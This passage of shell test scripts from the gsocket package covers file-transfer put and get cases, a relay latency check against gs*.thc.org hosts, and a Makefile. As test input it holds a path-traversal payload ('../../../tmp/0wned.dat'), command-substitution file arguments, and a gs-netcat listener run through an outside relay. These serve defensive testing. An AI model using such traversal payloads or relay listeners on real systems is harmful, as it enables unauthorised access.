test_start -n "Running #2.2 (dst is larger, overwrite)..................."
cp test8k.dat "${IODIR}/test4k.dat"
run_put test4k.dat
md5fail 1 test4k.dat "${IODIR}/test4k.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '2.3 ' ]]; then
test_start -n "Running #2.3 (zero src size).............................."
touch zero.dat
run_put zero.dat
md5fail 1 zero.dat "${IODIR}/zero.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '3.1 ' ]]; then
test_start -n "Running #3.1 (write-error 0-sized dst)...................."
touch "${IODIR}/test4k.dat"
if [[ $(uname) =~ CYGWIN ]]; then
chattr +r "${IODIR}/test4k.dat"
else
chmod 400 "${IODIR}/test4k.dat"
fi
run_put test4k.dat
[[ x`FSIZE "${IODIR}/test4k.dat"` = x0 ]] || fail 1
$ECHO "${OK}"
fi
if [[ "$tests" =~ '3.2 ' ]]; then
test_start -n "Running #3.2 (write-error partial)........................"
cp test4k.dat "${IODIR}/test8k.dat"
if [[ $(uname) =~ CYGWIN ]]; then
chattr +r "${IODIR}/test8k.dat"
else
chmod 400 "${IODIR}/test8k.dat"
fi
run_put test8k.dat
md5fail 1 test4k.dat "${IODIR}/test8k.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '3.3 ' ]]; then
test_start -n "Running #3.3 (dir not writeable).........................."
if [[ $(uname) =~ CYGWIN ]]; then
$ECHO "${SKIP}"
else
chmod a-w "${IODIR}"
run_put test4k.dat
[[ -f "${IODIR}/test4k.dat" ]] && fail 1
$ECHO "${OK}"
fi
fi
if [[ "$tests" =~ '3.4 ' ]]; then
test_start -n "Running #3.4 (src not readable)..........................."
if [[ $(uname) =~ CYGWIN ]]; then
$ECHO "${SKIP}"
else
chmod a-r "${IODIRSRC}/test1k.dat"
run_put "${IODIRSRC}/test1k.dat"
[[ -f "${IODIR}/test1k.dat" ]] && fail 1
chmod a+r "${IODIRSRC}/test1k.dat"
$ECHO "${OK}"
fi
fi
if [[ "$tests" =~ '4.1 ' ]]; then
test_start -n "Running #4.1 (permission)................................."
chmod 462 test4k.dat
# chmod u+s test4k.dat # On MacOS our own app can not set +s...
run_put test4k.dat
[[ x`FACCESS "test4k.dat"` = x`FACCESS "${IODIR}/test4k.dat"` ]] || fail 1
chmod 644 test4k.dat
$ECHO "${OK}"
fi
if [[ "$tests" =~ '4.2 ' ]]; then
test_start -n "Running #4.2 (mtime)......................................"
touch -r /etc/hosts test4k.dat
run_put test4k.dat
[[ x`FMTIME "test4k.dat"` = x`FMTIME "${IODIR}/test4k.dat"` ]] || fail 1
$ECHO "${OK}"
fi
if [[ "$tests" =~ '4.3 ' ]]; then
test_start -n "Running #4.3 (zero-size, mtime)..........................."
touch -r /etc/hosts zero.dat
run_put zero.dat
[[ x`FMTIME "zero.dat"` = x`FMTIME "${IODIR}/zero.dat"` ]] || fail 1
$ECHO "${OK}"
fi
if [[ "$tests" =~ '4.4 ' ]]; then
test_start -n "Running #4.4 (put, empty directory)......................."
touch "${IODIR}/foo" # Place a file in its way (should be overwritten)
run_put "${IODIRSRC}/./foo/dir_empty"
[[ -d "${IODIR}/foo/dir_empty" ]] || fail 1
touch "${IODIR}/dir_empty" # Place a file in its way (should be overwritten)
run_put "${IODIRSRC}/foo/dir_empty"
[[ -d "${IODIR}/dir_empty" ]] || fail 2
rmdir "${IODIR}/dir_empty"
run_put "${IODIRSRC}/foo/dir_empty"
[[ -d "${IODIR}/dir_empty" ]] || fail 3
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.1 ' ]]; then
test_start -n "Running #5.1 (Globbing ./*)..............................."
run_put "${IODIRSRC}/*"
fail_file_count 1 "${IODIRSRC}/*" "${IODIR}/*"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.2 ' ]]; then
test_start -n "Running #5.2 (Globbing ./foo/.*).........................."
run_put "${IODIRSRC}/./foo/.*"
[[ $(find ${IODIR}/ -type f -o -type d | wc -l) -eq 3 ]] || fail 1
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.3 ' ]]; then
test_start -n "Running #5.3 (Globbing .*)................................"
(cd "${IODIRSRC}/foo" && run_put ".*")
[[ $(find ${IODIR}/ -type f -o -type d | wc -l) -eq 2 ]] || fail 1
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.4 ' ]]; then
test_start -n "Running #5.4 (Globbing foo)..............................."
(cd "${IODIRSRC}" && run_put "foo")
fail_file_count 1 "${IODIRSRC}/foo" "${IODIR}/foo"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.5 ' ]]; then
test_start -n "Running #5.5 (Globbing .)................................."
(cd "${IODIRSRC}" && run_put ".")
fail_file_count 1 "${IODIRSRC}/" "${IODIR}/"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.6 ' ]]; then
test_start -n "Running #5.6 (Globbing foo/).............................."
(cd "${IODIRSRC}" && run_put "foo/")
fail_file_count 1 "${IODIRSRC}/foo/" "${IODIR}/"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.7 ' ]]; then
test_start -n "Running #5.7 (put, globbing \$(find...*.dat)..............."
# (cd "${IODIRSRC}" && run_putc '\$(echo *.dat)')
(cd "${IODIRSRC}" && run_putc '\$(find . -type f -name \\*.dat)')
(cd "${IODIRSRC}" && find . -type f -name '*.dat') | fail_file_bypipe 1 "${IODIRSRC}" "${IODIR}"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.8 ' ]]; then
test_start -n "Running #5.8 (get, globbing \$(find...*.dat)..............."
run_getc '\$(find . -type f -name \\*.dat)'
(cd "${IODIRSRC}" && find . -type f -name '*.dat') | fail_file_bypipe 1 "${IODIRSRC}" "${IODIR}"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.1 ' ]]; then
test_start -n "Running #8.1 (get, 2 files)..............................."
run_get test8k.dat foo/bar/.rcfile2
md5fail 1 test8k.dat "${IODIR}/test8k.dat"
md5fail 2 test4k.dat "${IODIR}/.rcfile2"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.2 ' ]]; then
test_start -n "Running #8.2 (get, 2 files /./ test)......................"
run_get ./foo/bar/test1k.dat ./foo/./bar/test1k.dat
md5fail 1 test1k.dat "${IODIR}/test1k.dat"
md5fail 2 test1k.dat "${IODIR}/bar/test1k.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.3 ' ]]; then
test_start -n "Running #8.3 (directory test)............................."
run_get foo/bar
md5fail 1 "${IODIRSRC}/foo/bar/test1k.dat" "${IODIR}/bar/test1k.dat"
md5fail 2 "${IODIRSRC}/foo/bar/.rcfile2" "${IODIR}/bar/.rcfile2"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.4 ' ]]; then
test_start -n "Running #8.4 (get, non-exist)............................."
run_get not-exists.dat foobar*noexist[1234].d[ab]t
[[ -f "${IODIR}/not-exists.dat" ]] && fail 1
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.5 ' ]]; then
test_start -n "Running #8.5 (get, ../test8k.dat)........................."
run_get2 ../test8k.dat ../foo ../foo/./bar
md5fail 1 "${IODIRSRC}/test8k.dat" "${IODIR}/test8k.dat"
fail_file_count 2 "${IODIRSRC}/foo" "${IODIR}/foo"
fail_file_count 3 "${IODIRSRC}/foo/bar" "${IODIR}/bar"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.6 ' ]]; then
test_start -n "Running #8.6 (get, /etc/hosts)............................"
if [[ $(uname) =~ CYGWIN ]]; then
run_get /etc/hosts /etc/./pki/tls/cert.pem /./etc/pki/tls/cert.pem
md5fail 1 "/etc/hosts" "${IODIR}/hosts"
md5fail 2 "/etc/pki/tls/cert.pem" "${IODIR}/pki/tls/cert.pem"
md5fail 3 "/etc/pki/tls/cert.pem" "${IODIR}/etc/pki/tls/cert.pem"
else
run_get /etc/hosts /etc/./ssh/ssh_config /./etc/ssh/ssh_config
md5fail 1 "/etc/hosts" "${IODIR}/hosts"
md5fail 2 "/etc/ssh/ssh_config" "${IODIR}/ssh/ssh_config"
md5fail 3 "/etc/ssh/ssh_config" "${IODIR}/etc/ssh/ssh_config"
fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.7 ' ]]; then
test_start -n "Running #8.7 (get, permission, mtime, zero)..............."
chmod 462 "${IODIRSRC}/test1k.dat"
chmod 624 "${IODIRSRC}/zero.dat"
chmod 3751 "${IODIRSRC}/foo/dir_empty"
touch -r /etc/hosts "${IODIRSRC}/test1k.dat" "${IODIRSRC}/zero.dat" "${IODIRSRC}/foo/dir_empty"
touch -r /etc "${IODIRSRC}/foo"
touch -r /etc "${IODIR}" "${IODIRSRC}"
run_get test1k.dat zero.dat ././foo/dir_empty
[[ $(FSTAT "${IODIRSRC}/test1k.dat") = $(FSTAT "${IODIR}/test1k.dat") ]] || fail 1
[[ $(FSTAT "${IODIRSRC}/zero.dat") = $(FSTAT "${IODIR}/zero.dat") ]] || fail 2
[[ $(DSTAT "${IODIRSRC}/foo/dir_empty") = $(DSTAT "${IODIR}/foo/dir_empty") ]] || fail 3
[[ $(DSTAT "${IODIRSRC}/foo") = $(DSTAT "${IODIRSRC}/foo") ]] || fail 4
[[ $(DSTAT "${IODIRSRC}") = $(DSTAT "${IODIR}") ]] || fail 5
chmod 644 "${IODIRSRC}/test1k.dat" "${IODIRSRC}/zero.dat"
chmod 755 "${IODIRSRC}/foo/dir_empty"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.8 ' ]]; then
test_start -n "Running #8.8 (get restart: dst is larger, smaller & zero)."
dd bs=1k count=5 if="${IODIRSRC}/test8k.dat" of="${IODIR}/test8k.dat" &>/dev/null
cp "${IODIRSRC}/test8k.dat" "${IODIR}/test1k.dat"
touch "${IODIR}/test4k.dat"
run_get test1k.dat test8k.dat foo/test4k.dat
md5fail 1 "${IODIRSRC}/test8k.dat" "${IODIR}/test8k.dat"
md5fail 2 "${IODIRSRC}/test1k.dat" "${IODIR}/test1k.dat"
md5fail 2 "${IODIRSRC}/foo/test4k.dat" "${IODIR}/test4k.dat"
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.9 ' ]]; then
test_start -n "Running #8.9 (get, Server sending ../../../shit..........."
mkdir ${IODIR}/foo
run_get_dst /tmp/0wned.dat
run_get_dst ./../../../../../../../../../../../../../tmp/0wned.dat
run_get_dst ../0wned.dat
[[ -e /tmp/0wned.dat ]] && fail 1
[[ -e "${IODIR}/0wned.dat" ]] && fail 2
$ECHO "${OK}"
fi
# Find a local directory that contains some huge amount of files
try_find_bigdir()
{
local dir
[[ -n $bigdir ]] && return
dir=$1
[[ -n $QUICK ]] && dir=$2
[[ ! -d "/usr/${dir}" ]] && return
# return if it is to small
[[ $(du -sk "/usr/${dir}" | cut -f1) -lt 64 ]] && return
bigdir="$dir"
}
unset bigdir
quick_dir="share/man/man4"
[[ $(uname) =~ CYGWIN ]] && quick_dir="share/man/man8" # Less huge
[[ $(uname) =~ FreeBSD ]] && quick_dir="share/man/man6" # Less huge
[[ $(uname) =~ SunOS ]] && quick_dir="share/man/man9p" # Less huge
try_find_bigdir share/man "${quick_dir}"
try_find_bigdir include include/bits
if [[ "$tests" =~ '9.1 ' ]]; then
test_start -n "Running #9.1 (HUGE put).........................."
if [[ -z $bigdir ]]; then
$ECHO "${SKIP} (no files)"
else
run_put "/usr/./${bigdir}"
$ECHO -n "verify..."
fail_dir_compare 1 "/usr/${bigdir}" "${IODIR}/${bigdir}" .
$ECHO "${OK}"
fi
fi
if [[ "$tests" =~ '9.2 ' ]]; then
test_start -n "Running #9.2 (HUGE get).........................."
if [[ -z $bigdir ]]; then
$ECHO "${SKIP} (no files)"
else
run_get "/usr/./${bigdir}"
$ECHO -n "verify..."
fail_dir_compare 1 "/usr/${bigdir}" "${IODIR}/${bigdir}" .
$ECHO "${OK}"
fi
fi
if [ x"$1" == x ]; then
rm -rf "${IODIRSRC}" "${IODIR}"
fi
gsocket-1.4.41/tests/run_ping_gsrn.sh 0000755 0001750 0001750 00000001640 14503376047 017531 0 ustar epsilon epsilon #! /bin/bash
echo "use gsocket-relay/monitor/ping_gsrn.sh instead"
exit 255
date_bin="date"
command -v gdate >/dev/null && date_bin="gdate"
unset GSOCKET_IP
MIN()
{
echo $(($1>$2 ? $2 : $1))
}
gsrn_ping()
{
SECRET=$(gs-netcat -g)
export GSOCKET_HOST=$1
export SECRET
VARBACK=$(mktemp)
GSPID="$(sh -c 'gs-netcat -s "$SECRET" -l -e cat &>/dev/null & echo ${!}')"
M=31337000000
(sleep 1; for x in $(seq 1 3); do $date_bin +%s%N; sleep 0.5; done) | gs-netcat -s "$SECRET" -w -q| while read -r x; do
! [[ $x =~ ^16 ]] && continue
D=$(($($date_bin +%s%N) - x))
# printf "%s %.3fms\n" "$1" "$(echo "$D"/1000000 | bc -l)"
M=$(MIN $M $D)
echo "$M" >"$VARBACK"
done
D=$(cat "$VARBACK")
rm -f "$VARBACK"
printf "MIN %s %.3fms\n" "$1" "$(echo "$D"/1000000 | bc -l)"
kill "$GSPID"
}
# gsrn_ping gs1.thc.org; exit
# gsrn_ping gs5.thc.org; exit
for n in $(seq 1 5); do
gsrn_ping "gs${n}.thc.org"
done
gsocket-1.4.41/tests/Makefile 0000644 0001750 0001750 00000000242 14503376047 015755 0 ustar epsilon epsilon
clean:
rm -rf id_sec.txt gs_nc test*.dat client*.txt server*.txt client*.dat server*.dat ft_test_dst ft_test_src
>server.logclient.log